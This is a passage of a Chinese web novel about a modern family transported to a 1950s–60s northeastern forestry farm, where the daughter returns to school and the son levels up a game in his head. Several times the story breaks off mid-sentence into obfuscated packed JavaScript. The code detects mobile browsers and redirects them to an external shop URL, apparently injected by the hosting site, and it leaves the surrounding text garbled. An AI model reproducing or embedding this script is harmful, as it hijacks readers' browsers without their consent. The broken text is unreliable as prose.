毕竟这个年代不禁枪,很多供销社都卖枪的。尤其是他们这边挨着山林,村里还有民兵。这些民兵都是真枪实弹装备,随时准备战斗的兵种! 所以,抢车上物资的那些车匪,大多都有枪。 押车,油水丰厚,但也是个危险的活儿。 还好,许放在穿越来之前当过几年兵,如今又摸到枪,还是很激动的。 送走了老吴,许晨又小声的跟爸妈说了他姐许娟上学的事。 “季航跟我说姐学习可好了,但上完初中就不上了,问问咱家到底咋回事。我寻思着,这学能上还得上。” 周敏恍惚了片刻,“咱们来之前……嗨,原身比较保守,觉得女孩子读书多了也没用,初中生已经很厉害了。现在你姐在托儿所也是过度,回头运作运作能当个干部。” 许晨木着脸看她。 周敏又道:“怪不得之前有人给我你姐有没有谈朋友……不行,她才多大啊,学还得上,晚上我跟她好好商量商量。” 许放道:“还商量,有什么好商量的?我去学校问问,耽误了这俩月还能不能续上了,实在不行就多上半年,以后考个大学,那就是大干部。这时候学历多吃香。再过十年就起风了,有个大学生干部撑腰,还是很管用的。” 他跟周敏都没上过大学,一个中专生,一个高中生。上高中的那个去当兵了,读中专的分配到厂里拧螺丝。 俩人结婚后又赶上职工下岗潮,后来一琢磨,干脆贷款弄了个小超市。 后来小超市变成了大超市,家里这才富裕起来。 五六十年代的大学生,是绝对顶尖的存在。毕业包分配,直接都是干部岗位。等退休了,光退休金一个月就一万多,羡慕死个人! 两口子决定了让大闺女继续上学,许晨才放心的睡了觉。 他醒来的时候,季航跟顾哲都来了。 “你可真能睡啊,你咋就能睡得着呢?”季航圆嘟嘟的脸上,满是疑惑。 顾哲从旁边笑,“磕脑袋磕到睡穴了。” “你俩真烦人,”许晨从炕上起来,把被子卷到墙边,“明天不是要上课吗?你俩还看小人书呢?” “作业都写完了,不看小人书看啥,看你?”季航又嘎嘎笑,“许晨晨,看你以后还皮不皮。” “你可真行,昨天还问我许晨晨你的头疼不疼呀喝不喝水呀,今天就开始埋汰我了。”许晨抄起一本小人书,是西游记。旁边还散着几本,画的是抗日英雄题材的。 小人书都是顾哲买的,今年大锅饭,他也用不到钱,现在跟许家一起住,就把分的粮食都拿到许家来了。 要不是得表示一下自己家房子有人住,估计他中午都不会回去。 林场工会这边会每个月给他三块钱,或者用钱帮他换点儿布票,找人帮忙做两件衣裳。 这些钱都是从顾哲爷爷奶奶留下的钱和顾哲他爹寄回来的钱里面扣,每个月花多少还有人监督,说是扣到顾哲工作结婚都扣不完。 不过到那时候,剩下的钱就由顾哲自己管理了。 顾哲手里有了钱,就去买小人书。买回来放在许家,大家一起看。 这时候的小人书才一毛多一本,简直太便宜了。 “等明年,咱们就十四岁了。”季航趴在炕上托着下巴,道:“到时候咱们就去山上,找棒槌,捡点儿蘑菇啥的,去供销社换钱。” 顾哲也道:“开春就得去,挖野菜,晒野菜,否则到冬天就没菜吃了。” 今年他们也去了几趟,但因为岁数太小,大人也不放心他们进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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里面《智取威虎山》这一段儿,五八年才编成的京剧,先在他们这边巡演了几场,引起了轰动,又去了京城那边了。 现在无论大人小孩,都会唱上几句。 “你唱的真好听,”许晨海豹拍手,真心实意的夸赞,“你还会唱啥呢?” 被夸了,季航肉眼可见的高兴,眼珠子都亮了,“好听吧?哎呀我可会唱歌了,我娘说以后我可以考文工团。向前向前,向前!!我们的队伍向太阳……” 季航别看说话软软糯糯的,但唱歌是真响亮,有着一把好嗓子。 兴致上来了,他就一首一首的唱,唱完《浏阳河》唱《红梅赞》,还唱了许晨也会唱的那首《我和我的祖国》。 “唱得好,再来个!”院子外面不知道什么时候进来了一群人,都站在窗边听呢,还有人鼓掌叫好,给许晨吓了一跳。 季航有些脸红,但大大方方的走了出去,“我唱歌好听吧?” “好听,好听!”外面都是邻居,在家休假的,还有职工家属。 季航开心的直拍大腿,“那我再给你们唱几首!” 许晨:…… “真能耐啊,季航这都开上独家演唱会了。” 他跟顾哲面面相觑,噗嗤笑了出来。 9. 许娟上学 “好家伙,唱了俩点儿!要不是天黑了观众都散了要回家,他还能唱呢!” 季航心满意足的回家了,留下脑瓜子嗡嗡的俩听众。 周敏一回来,他就忙不迭的吐槽:“好家伙,唱完歌又唱戏,唱完戏又唱歌。咱们林场没有啥大型演出吗?赶紧给他报名让他上。” 顾哲道:“你忘啦,以前学校里演出,他每次都参加的,而且每次都能拿奖。” “当文艺兵的好苗子!”许晨竖起大拇指。 晚上照样是剩的大白菜煮黑窝头糊糊,许放下午倒是拎了五斤高粱米回来,说是同事去其他地方带回来的,他买了五斤,想着留两斤给孩子们煮个水饭吃,剩下的三斤等他出差回来拿回周敏娘家去。 许晨肚子早就饿的不行了,肚子里一点儿油水都没有,吃多少窝头都没用,那玩意儿也就是一时涨肚,一会儿就消化了,还刮油。 晚上喝了一大海碗糊糊,肚子得到了慰藉,但灵魂仍旧空虚。 无比的想吃肉。 尤其是那种炖的烂烂糊糊的大肉块,肥肉一咬一嘴油,顺着嘴角往下流的那种。 果然,减肥都是吃饱了撑着的人,才会思考的事。 现在大家想的都是如何能吃饱肚子。 趁着肚子里有食儿,一家人早早的就铺了炕准备睡觉。不过周敏喊了大闺女去外间屋,有话要说。 外间屋还有灶膛,说话也不会冷。 许晨躺在被窝里,支棱着耳朵听外面小声的谈话声。 断断续续的听不太清,不过他姐好像是哭了。 又过了一会儿,三个人陆续进了屋。 许晨立马闭上眼装睡,听见身边传来希希索索的声音,大家都上了炕。 他胡思乱想了一会儿,干脆继续弄那个游戏。 游戏变化有些大,主要是升级太难了。而且各种任务时间,农作物生长周期也变长了。 任务下方的进度条走的缓慢,急的许晨恨不得伸手过去拨。 第二天一大早,大家就都起床了。 许放要去学校打听一下大闺女重新上学的事,许娟要先送弟弟妹妹去林场小学,然后自己去托儿所上班。 顾哲也背了书包去上课,顺便帮许晨请几天假。 这时候学校管的也不严,三天两头有人请假,老师也不管,爱来来不爱来拉倒。 家里就剩下许晨一个人了,他抓了把替代粮把鸡喂了,然后给灶台地下塞了跟柴火,就上了炕靠在被窝卷上,继续肝任务。 这几天,小麦收了好几茬。六小时一茬,在他仔细的安排下,一天能收三次。一块地二十斤,三块地六十斤。三次就是一百八十斤。 然后还要满足NPC的订单任务,不做任务,拿不到升级仓库的道具。 前期升级仓库都得用道具,后期开了商城,道具就能在商城里刷到,可以用金币和钻石购买。 他还想尝试一下能不能进入游戏,但提示说相关功能还未开放。 这句话的意思,就是告诉玩家,等你级别够了,游戏更新,很有可能就开放这个功能了! 肝了整整一天,中午吃饭的时候脑子里都是接订单,备货,收拾房间。 游戏里那栋小房子的客厅快收拾完了,估计收拾完就能上十级。 吃完饭回到家,午觉都没睡,继续折腾游戏任务。 许放跟周敏聊许娟上学的事,学校那边知道许娟,因为她上初中的时候成绩很好。 后来因为各种原因就不上学了,十分遗憾。 现在家长又开始支持上学,老师们自然高兴。 “要去学校做个卷子,看看之前学的知识有没有落下。如果没落下,就能直接去上学。” “那感情好,下午你就带大丫头去学校做卷子,争取这几天就能上了学。”周敏一听可以复学,很是高兴,“我是不是得准备大丫头上学的东西?要做一身新衣裳吧?还有新书包……诶等等,我翻翻有没有布。” 周敏兴奋的去翻炕柜和地上的木头柜子。 这时候可没有什么衣橱衣柜,炕上放着的柜子是放平时用的东西,原主们都挺爱干净,收拾的相当利索。 地上还放了两个大木头柜子,上面一半的盖子可以随时打开,另一半盖子带插销,不用的时候是固定住的,上面能放暖壶茶盘等一些琐碎的日常用品。 周敏他们传来,其实一开始并不太愿意翻这些地方,总觉得这是人家的,而且还是穿过的二手衣服,他们用起来心里实在有些不对劲儿。 可这个年代并不是有钱就能买到衣裳的年代,百货商场那些高价不用布票的衣裳,也不太适合他们这些在林场工作的人穿。 没办法,周敏挑挑拣拣了几件洗了又洗才敢穿上。 炕柜里还放着不少布头,地上的大柜子里面放着周敏作为家里的女主人,这么多年屯下来大块的布。 林场发的布票,从几寸到几尺的都有,很多人都是存上一年,然后去供销社扯了大块的布回来。 不管是给自己做新衣裳还是用来送礼,都是相当不错的。 而且这时候的布也是真的结实,周敏还记得家里没有穿越之前搬家,收拾当年长辈给他们囤着留下来的那些床单被罩毛巾被还有一些大块的灰色蓝色的布,放了几十年,洗一洗竟然还能用,都没有糟烂! 在箱子柜子里翻了半天,挑出来一块压箱底的格子布。 这格子布还是棕色的格子,按照穿越之前的风格来说,就是复古风。 复的如今的古。 现在天冷了,家家户户都穿上了厚衣裳,秋衣外面套毛衣,毛衣外面套夹袄。 再过上一个月,大棉袄二棉裤也得上身。 这里可是黑省,冬天最低温度能达到零下三十度。外面简直就是速冻。 据说林场有个单身老头自己住,晚上喝多了忘记烧炕,也没盖厚被子,第二天早晨再去看,都冻的梆硬,身上挂了霜了。 这块格子布特别结实,周敏觉得可以直接做件罩衫,回头套在棉袄外面穿。 在弄块军绿色的布做裤子,那就是这个年代最靓的打扮。 书包可以让许放去派出所淘换个军用包,单肩背的军绿色小挎包,也是现今的时尚单品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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好不容易接收完身体上的信息以及这个年代某些情况,又发现儿子爬树摔了。 说是要送医院,不过林场有卫生所,过去包扎了一下,大夫说没有什么问题。 两口子心惊胆战的,周敏还偷摸问他这是不是儿子穿越来的前摇。 毕竟那场车祸,儿子作为司机可能受伤更严重。 媳妇儿还兴致勃勃的念叨了半天什么空间,金手指。结果两口子啥都没有,去食堂吃饭,咬了口窝头,差点儿哭出来。 如今儿子终于有了什么金手指,他这个当爸爸的,真心欣慰啊。 看着儿子的目光都慈爱了许多。 “加油升级,”许放道:“等过几天你去上学了,可就没空整这些玩意儿了。” 许晨愣了一下,“我还需要上学吗?我现在脑子里的知识,比这边的老师都厉害吧?” 许放笑了,“怎么能不上学呢?人总是要体验一下什么叫做美好的童年啊。” 10. 考试通过 “他婶子。”周敏抱着布包来到崔婶子家,“他婶子,在家不?” 崔婶儿男人是林场的伐木工,她家也农村的,不识字,没工作,目前在家里当家庭主妇。 院子里乌泱泱跑出来五个鼻涕娃,崔婶子赶鸭子似的撵,“跑什么跑,在家呢。哎哟,许放家的?你咋这时候过来了?” “崔婶子,这不是有事儿求您来了吗?”周敏笑嘻嘻的进了院子,“您也知道,我手笨,拿了针线只会钉个扣子。这不是想着让大闺女继续上学吗?就翻出几块布,让您做个衣裳给她穿。” 崔婶子把人迎到炕上,她生了七个孩子,都是儿子。最大的已经二十一,最小的才两岁。 老大已经进林场上班了,跟着他爹学伐木,目前已经成亲了。儿媳妇就是附近村儿里的,今天带着崔婶子的大孙子和自己一岁多的闺女回娘家了。 崔婶子也不是本地人,听说是山西那边的。 山西穷,没有东西吃,家里跟着一群逃荒的往东北来,最后路上散的散死的死,剩下的人走到这里,实在走不动了,就留了下来。 那时候崔婶子还是个不到十岁的姑娘,如今都快五十了。 跟三十多的周敏一比,好像差了一辈人。 “你家闺女,不相看人啊?之前不是说想要嫁出去吗?”崔婶子满脸疑惑。 周敏嗨了声,“之前想岔劈了,觉得闺女大了得嫁人。但是我家那口子跟我说,人家市里有不少女干部,都是读过高中大学的。我这不是寻思着,我家娟子学习听好的,那以后当个干部,备不住就去城里了呢,是吧?穿皮鞋总比穿草鞋强。” 崔婶子不太赞成,“那女干部不也得嫁人?早嫁人早生孩子,你早点儿当姥姥多好呢。” “我着急啥?我又不是她婆婆。”周敏拍了拍肚子,“这里还有个小的呢,这么快当姥姥做什么?我等着当奶奶多好呢。” “也是,再过两三年,你家许晨儿也能相看了。”崔婶子点点头,却又道:“可是这姑娘进了城,那就由不得自己了,心容易野。” “怕啥?咱们这嘎达大姑娘性子太软能行吗?不怕。她有本事,就找个干部结婚,生个小干部,我还更得意呢。”周敏笑着摊开包,“他婶子,你看这个,做衣服裤子,能套棉衣棉裤的。肥点长点,我闺女还得长个呢。多少钱?” “你埋汰我是不是?要什么钱啊?”崔婶子翻了个白眼儿,“这玩意儿简单,我一下午就能整好,明天给你拿过去,不耽误吧?” “不耽误不耽误,”周敏连忙摆手,“你不要钱,我也厚着脸皮不给了。拿了三个窝头,给孩子们啃着玩。” “窝头好,这几个兔崽子,成天吃不饱,窝头我才喜欢呢。” 崔婶子去食堂吃饭,也是连吃带拿。但家里儿子多,除了最小的那个,个顶个能吃。 拿也不敢多拿,拿多了容易被人说。可带回来的那些一眼看不住,就让小子们偷摸吃了。 她家几个小子就读了几年小学,也不是学习的料,老二一年级读了三年,上课就睡觉,老师拿他都没办法。现在分去林场看锅炉了,也是个不错的差事。能偷摸往家里顺煤炭,而且冬天暖和。 就是夏天受罪点儿,但这地方,夏天压根也没几天。 如今有钱也买不到粮食,还不如窝头划算。 崔婶子把布摊开,尺子都不用,伸手丈量好了,抄起剪子喀嚓喀嚓就下了剪刀。 一会儿工夫,几个布片就出了形状,拼起来那就是衣服裤子的模样。 周敏羡慕的不行,她是真手笨,当年流行十字绣,买了不少,最后连个钥匙链都没绣出来,剩下的那些都积了灰,放在超市卖出去了。 崔婶子做衣裳,俩人东家长西家短的唠了一会儿磕,周敏就说要回去准备上班了。 下午,许放专门请假带闺女去高中那边考试。 林场是个大厂,光员工就两千多个,再加上家属人数就更多了。而且还有周围木材厂家具厂纸箱厂等各种林场下属工厂,人数就更多了。 所以这边小学初中高中都有,小学初中算是林场的,但高中是镇上的,离林场很近。 许娟之前一直都想上学的。家里没有亏待她,当她一个姑娘读完了小学初中。 按照她的成绩,直升高中绝对没问题。 只不过林场这边都在说姑娘大了该嫁人了,她娘就琢磨着嫁人也好,得有个工作,让她进林场先找个工作过度一下,回头看看哪里需要人就调过去,争取坐办公室。 许娟心里不愿意,却也只能点头。 因为她的那些小伙伴,很多小学都没读完就不读了,还有不少已经开始相亲定亲的,满十六就准备嫁人了。 而且高中里,女生特别少,就算有也都是一些干部家的孩子。 别说女生,男生数量也不多。男孩子比女孩子更早的就开始准备接班工作了,不挣钱光读书,是找不到媳妇儿的。 能上高中的都是凤毛麟角,那是准备着要去考大学的精英,以后当国家大干部的。 许娟妥协了,在林场暂时找了个托儿所的活儿干,临时工都算不上,只能算个帮忙的,一个月有十块钱,没有票。 没想到这都开学一个多月了,她娘她爹突然问她还想不想读书。 说家里愿意供,不想耽误她。 她爹还说是太爷给托了梦,说许家大姑娘以后是个能人,得读书。 许娟哭得不行,用力的点头。 现在来考试了,她心里一点儿都不慌。之前学的就扎实,这些日子没事做,就把初中课本来回得看。还跟人借了两本高中的课本看,很是有底。 许娟要考三张卷子,卷子是之前初中毕业考试的时候出的。那时候挑出最合适的一份用来考试,剩下的封存。 现在专门又挑了一些,给后续愿意上高中的学生考试用。 当老师的,还是希望孩子们多读书,都读书。 读书才能明事理,而且读书也是从穿草鞋的泥腿子,成为穿皮鞋的干部最直接最简单的一条路。 考试出了三张卷子,一张语文政治,一张几何代数,一张物理化学和生物的综合卷。 许娟就坐在办公室里写卷子,许放怕影响闺女考试,就去楼外面待着。 操场上有篮球场,几个男学生正在打篮球。 他看的眼热,扔下烟头凑了过去,一问才知道这是在上体育课。 于是厚着脸皮问能不能一起打球。 其他人都没意见,因为上课的男 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许娟儿脸蛋红扑扑的,给监考老师鞠了个躬,“谢谢老师!” “不用谢不用谢,我就是喜欢爱学习的孩子。”这是一位女老师,得四十多快五十了,头发有些花白。 她推了推眼镜,道:“女孩子才要多读书,之前我听说许娟同学初中学得很好,以为会直升高中来……不过现在想明白也不差什么。” “是,是。”许放点头哈腰道:“那时候我跟她娘想轴了,老思想。这俩月就琢磨呢,总觉得姑娘就这么上班嫁人,可惜了。” 老师也不墨迹,先带着父女俩去宿舍看了看,安排了床位,是个上铺。又去领了课本,然后回来定了日子,写了张条子,让许放去财务处交钱。 “这次没带钱也没事,等来上学的时候交。”老师道。 “带了带了,想着考过了就能让她上学,她娘让我带着钱呢。”许放满心欢喜的掏兜,“我去缴费,老师,这也太感谢了。” 许放说着,也给老师鞠了个躬。 这时候的老师们,可真的是一心为学生啊。 11. 许放怼人 “爹,下周一就可以上课了,周日下午要返校。”许娟抱着书坐在公交车上,兴奋的不行。 真没想到,她可以继续读书了。 “你娘给你做了新衣裳,回去之后准备住校的东西。周日下午我送你去上课,然后周六下午我去接你放学。”许放看着兴奋的孩子,也跟着高兴,“好好念书,以后上大学,当干部。” 公交车前座上一位妇女扭头看了眼,阴阳怪气道:“丫头片子读什么书啊,找个好人家嫁了才是正经事。” “关你屁事,吃你家大米了?”许放一听就不乐意了,直接开怼,“各人有各人的路要走,怎么还对别人指手画脚的?□□说了,妇女能顶半边天,你这位同志的老思想别是用裹脚布把小脑裹了吧?咋?国家解放没通知你啊?” 公交车上的人哄笑,那妇女涨红了脸,“你个大老爷们怎么能对女人这么说话。” “哪条法律不让大老爷们维护自己闺女了?你对我闺女指手画脚,我这个当爹的就是不乐意!”许放冲她翻了个白眼,“管好你自己吧!饭都吃不饱了,还有力气操闲心呢!” 女人吵也吵不过,动手又不敢,自己憋气憋的脸通红。 车一停,就站起身往车下跑。 售票员还喊了嗓子,“诶,你没到站吧?” 那妇女头都不回,直接走了。 车里人又笑,走道旁边的一位男同志问道:“现在过了开学时间了吧?你姑娘刚开始去上学?” “家里有事,耽误了俩月。”许放笑呵呵的,“还好学校里还要。” 那男同志道:“得学习好学校里才要呢,学习不好的,都留级了。” 许娟就抿着嘴笑,每一根头发丝都透着开心。 后面还有一位年轻的女同志道:“上学好,女孩子就得读书上学,回头考个大学,去市里读书,能见识很多不同的景色不同的人。见多识广,才不会囿于眼前短寸之地。” “说得好,其实不管女孩子还是男孩子,能读书还是要读书的。多学知识,为国家做贡献嘛。”许放跟着道。 平时在家里可以说读书改变命运,扔掉草鞋穿皮鞋。 但大众眼前不能这么说,毕竟这会儿还是工人老大哥们的天下,这样说容易被人扣帽子,说看不起工人老大哥,看不起农民兄弟。 总而言之,聪明人都知道读书之后眼界更广,可以选择的更多。 不过聪明人不多,大多数老百姓只会顾及眼前的一亩二分地,孩子们有个工作,能赚工资,能吃饱肚子,就是好事。 有很多家庭,孩子明明读书很好,但做家长的仍旧不愿意让读书,觉得读书无用。 许放知道,再过个几年,就真的会有读书无用论,那是一场浩劫。 不过跟他们这种工人阶级没有什么太大的关系。 到了林场下车,许放取了自行车,让闺女坐后座上。 许娟抱着书在后面兴奋的几乎坐不住,两条麻花辫在身后一甩一甩的。 “爹,你骑快一些,娘在家都等急了吧。” 天已经开始昏暗了,许放道:“你娘现在也就刚下班,不着急,我可不能把我大闺女摔了。” 路都是土路,被来回的大卡车压的乱七八糟。现在天冷了,冻的有些硬,不小心就会连车带人摔个大马趴。 “摔不了,爹,再骑快一些嘛!”许娟迫不及待的想回到家,把自己考试通过的好消息告诉家里人。 许放想笑。 他上辈子可没养过闺女,反正他也不是体制内的,还跟媳妇儿商量偷摸生俩,第一胎要个闺女,可以娇养。第二胎来个儿子,想怎么养就怎么养。 谁知道第一个就是儿子,而且周敏生孩子太痛苦了,怀孕期间孕反严重,给许放吓得压根不敢要二胎了。 但他真的好喜欢别人家的小姑娘啊,香香软软又懂事,会跟爸妈贴贴,还能穿漂亮小裙子打扮。 不像他儿,小时候拎着玩具冲锋枪,对着他这个当老子的就是一顿扫射,嘴里还叭叭呢“怎么还不死,你得死了,赶紧躺下。” 他没躺下,但给儿子揍了一顿,让儿子躺下了。 现在他有闺女了,一口气还有俩,心里美滋滋的。 “娘,娘,我回来了!”自行车一停,许娟就从后座跳下来,还踉跄了一下。自行车后座太硌得慌了,路也不平,都快给人颠散架了。 “哎哟我的儿,回来了?累不累?冷不冷?”周敏压根就不问考的如何,听见闺女这兴奋的小动静,就知道绝对没问题。 “大姐大姐!”许阳许光姐弟俩也跑了出来,“姐,考的咋样啊?” “看,这是什么?”许娟把怀里抱了一路的书给弟弟妹妹们看,“学校发的书,姐姐我考上啦!” “哇,大姐真棒,大姐真厉害!”俩孩子嘴甜的不行,围着许娟又蹦又跳。 “行了行了,赶紧进屋,外面不冷吗?”周敏赶鸭子似的把孩子们都赶屋里去,“娟儿,娘带回来一些报纸,让你爹帮你给新书包个书皮儿。” 许放把自行车在院子里架好,“老师很喜欢她,还听说过她的名字。让周六就去报道,周一上课,听不懂的老师还给补课。” “那感情好,”周敏连连点头,“指不定过几年,咱家真的能出个大学生。” “爹,娘,赶紧进屋啊。”许娟撩了门帘子,“快进来。” 屋里比外面暖和多了,煤炉子也点着,灶也烧着。一进屋就能感受到腾腾的热气。 许放进了里屋,脱了大棉袄,看见许晨盘腿坐在炕上,正在翻看那一摞书。顾哲也在旁边趴着,手里捧得是语文书,再看里面小故事一样的课文。 “看得懂不?”许放问。 许晨:…… 他瞅了眼兴奋的大姐,摇摇头道:“看不懂。” 顾哲腼腆的笑了笑,“有的字不认识。” 许晨觉得他爸多余问他看不看得懂。他好歹也是正规大学毕业,区区高中课本能看不懂? 不过语文也就罢了,刚才翻了一下数学课本,里面不少题型解法跟他曾经学的不太一样。 这也正常,毕竟这么多年过去了,教材总是会有各种改进。 高中也开始学外语,是俄语。 其实初中就会有接触,不过是选学。到了高中,专门有课程要教,听说考大学的时候也有外语卷子,算加分项。 许晨看着俄语书上跟尖叫鸡似的单词符号,默默地把书放下了。 他以为英语很难,英语四级要命。 现在看来,国家选择英语作为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16685810|188819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必修外语,已经是手下留情了。 用俄语,他估计都毕不了业。 到不是学不会,是因为俄语要用弹舌音,但弹舌是一种天赋。 他没有。 还记得当年大学宿舍有一位勇士选修了俄语,在弹舌上费尽心思,嘴里含着玻璃球说话,一不小心把玻璃球咽了,差点儿造成命案! 许娟指着俄语课本,叽里咕噜的说了一串。 许晨跟许放面面相觑,许放问:“闺女啊,你这说的是啥?” 许娟笑道:“幸福的一家人。” 许晨:…… 有本事说英语,我能给你说晕! “行了,别聊了。赶紧洗手吃饭。吃完饭他爹你给闺女书包上书皮儿,我挑出一些布头,回头拼个书包。”周敏张罗着让把炕都收拾出来,放上炕桌吃饭。 晚饭仍旧是黑窝头糊糊,不过里面放了红薯,一问才知道今天中午食堂的干粮多了烀红薯和土豆。 许放叹气,“粮食怕是不太够了。” 红薯和土豆虽然吃了能饱腹,但饱腹效果不如谷类。 人一天吃一斤米面能饱,换成红薯土豆,怕是得吃三四斤,五六斤才能饱。 周敏默默地看了眼许晨,许晨缩了缩脖子。 他真的很努力了,现在已经九级啦。可是十级好难啊,经验进度条缓慢的一批。 吃完饭,周敏挂了油灯开始弄那些布头。 花花绿绿的布头都利用下午上班的时间剪裁成了大小差不多的正方形,她要做的就是按照颜色把这些正方形拼出好看的样子,做成个书包。 “要不就买一个吧?”许放道。 “不用买,我喜欢花书包。”许娟连忙道:“明天我要去托儿所说一声,以后不去上班了。估计得值最后一天班。看看能不能下午就不去了,剩下的时间这点儿东西,我很快就能做好。” 军绿色单间挎包这种时尚单品也不是说买就能买得到的。 谁家孩子如果能有这么个书包,哪怕是二手的,都得背出来炫耀一遭。 跟绿书包一样的时髦款式还有海魂衫,绿胶鞋。 夏天许晨过生日,原身撒泼打滚又哭又闹腾让家里给他买了一双绿胶鞋。鞋子码数大了几号,就算这样,他穿出去照样能引得一群小伙伴围着他羡慕。 不过现在的许晨对绿胶鞋可没有什么感觉,那玩意穿着臭脚,还不如手工千层底布鞋穿着舒服呢。 等天气暖和了,那双鞋就让他姐许娟继承吧。 周敏带着大姑娘老姑娘坐在等下拼布头,许晨看小人书,顾哲则趴在桌子写作业。 其实学校下午也没有讲什么课,老师饿的慌,懒得动弹,就在黑板上写了好多题,让学生们抄了回家做。 抄完数学抄语文,还有要背诵的课文,要练习写的生字。 许晨看了两眼,内心略有些绝望。 大学生重返初中是一种什么感觉?跟满级号进新手村一样,一点儿挑战都没有。 一想到这样没有挑战的日子还有好多年,他是一点儿都不想去上学。 可不去又不行,没有文凭就只能当扛活的工人。 就许晨这样的,天天在工厂的流水线上拧螺丝,他宁愿去捡破烂。 好歹自由。 12. 十级了 “明天要确定一下班次,后天出差。等我出差回来,咱们去你娘家看看。”许放蹲在外屋灶膛边上抽烟,他原本就有烟瘾,穿来之后这个身体烟瘾更大,抽的都是八分钱一包的劳动烟。 许放尝试了一下,那股子辛辣的气味差点儿就把他送走了。 无比的想念华子,但他没有那个资格买华子。 派出所发烟票只有乙等丙等,能买劳动烟和一毛二一包的长白山,或者两毛五一包的牡丹江。 华子得用甲级烟票,他弄不到。 别说他了,派出所所长也弄不来。现在他每天去上班,还偷摸蹭所长的牡丹江呢。 现在抽的,就是之前跟所长那里顺来的半包牡丹江。 “那娟儿去不了了啊?娟儿得上课。刚上课请不了假吧?”周敏问。 许娟笑道:“娘,我不着急去姥爷家,等放寒假的,我带弟弟妹妹过去住几天都没问题。” 谁知道第二天中午许放回来,就说不出差了。 派出所今年分配了几个新人进来,一群十七八二十来岁的年轻人不懂天高地厚,成天就想当以一当十破案无数的警探。 干了俩月车站内巡视的活儿就不耐烦了,天天想要出差。 所长也没拦着,就让他们押车跟短途。 但短途车补贴少,还都是本地粮票。 几个兔崽子不乐意了,发现副所长出差次数最多,于是联名上告说副所长霸占出差福利,不给年轻人机会。 许放气笑了。 于是不顾所长的劝说,把出差机会让了出去。 他们这个火车站派出所,不光有货车,还有客车,车站流量不小,人员也多而复杂。 不过正副所长和指导员没有那么多事儿,每天就巡视一下车站,主要是检查有没有像特务这样的人出没。 自从华国胜利之后,各方派来的间谍特务层出不穷,还有小本子留下来的潜伏人员,防不胜防。 尤其是他们东北这嘎达,工业重省,特务就更多了。 曾经有老人说,抓特务最严格的时候,看身边谁都像特务。 这次的任务是从他们海林市押车到齐齐哈尔那边,需要走一整趟,来回补贴五块钱以及三斤全国粮票。 这时候五块钱的购买力是多少呢?据说有人统计,一块钱能买三十多个馒头,五块钱买的馒头,够全家人吃半个月的。 当然,前提是有粮票,且能买得到。 国营饭店现在的粮食都紧缩了,馒头没有,窝头也都是黑的。 吃菜只有炖菜,没有炒菜。 毕竟是饭店,好歹也得保留一口锅。 五块钱以及三斤全国粮票,对于那些刚进入单位的年轻人来说,吸引力太大了。 大到他们不惜得罪副所长,也要拿到这个远程押车的“福利”。 “老李,你就辛苦辛苦。”许放憋着笑,“都是一群少爷,咱们得罪不起啊。” “这特么叫什么事儿!回头路上出了意外,我特么怎么弄?”被喊老李的是个老警察,当年就是警察,枪法很准,经过“考核”后留在了派出所。 “让老田发愁去,跟他们爹妈都说一下,别回头赖咱们头上。”许放有点儿幸灾乐祸。 当初这群少爷兵被分进来,原身就不是很愿意,但老田那个人有点儿面,扛不住压力,还是点了头。 没办法,这边毕竟属于林场,福利太好了。 这群少爷高不成低不就,干脆被弄到了这里。 来了之后又不想巡站,还不愿意巡车,天天叽叽歪歪的,甚至对食堂伙食也表现出了不满。 站里不少人对他们都有了意见,但大多数人都是普通人,林场这边的子弟,胳膊拧不过大腿,只能忍了。 许放回来,吃完饭才跟周敏道:“真当什么好差事呢,光看见那点儿福利了。正好,我还懒得去呢,让他们折腾。” 他中午不愿意在派出所食堂吃,回来在这边大食堂吃,还能多抢几个窝头。 之前在派出所食堂吃完饭,自己省的那几个窝头,都被一群兔崽子偷吃掉了,害的家里孩子少吃了好几口。 而且在大食堂抢饭吃,有个男人就会顺利很多。家里小的小,怀孕的怀孕,他可不放心。 周敏笑道:“人教人不会,事教事一下子就学会了。他们愿意跑就跑呗,否则让你三天两头出差,眼瞅着这天儿冷的要命,我还舍不得呢。” 俩人头对头叽叽咕咕的笑,引得那几个小的不停看。 周六下午,许放送大闺女去上学。自行车后座坐着姑娘,侧边绑着被窝卷,前面横梁上还绑着个大包裹,里面放着换洗的小衣裳,女孩子用的卫生纸和草纸。 许娟自己背着包,里面塞满了书和本子,还有周敏特地做的一个笔袋儿,上面还让崔婶子给缝了朵小花,绣了名字。 “好好读书,别让我跟你娘担心。”许放帮闺女在宿舍铺好被褥,又跟同宿舍离家远不会去的姑娘们打了照顾,这才依依不舍的离开。 别看才来几天,但他已经习惯每天都能看见懂事的大闺女。 现在一下子要一周才能见一次面,这个当爹的心理可不舒服了。 等他回到家,就看见自己媳妇儿跟儿子许晨头对头,兴奋的脸上都是笑,不知道说什么呢。 老姑娘跟小儿子不在家,估计跑去邻居家玩了。 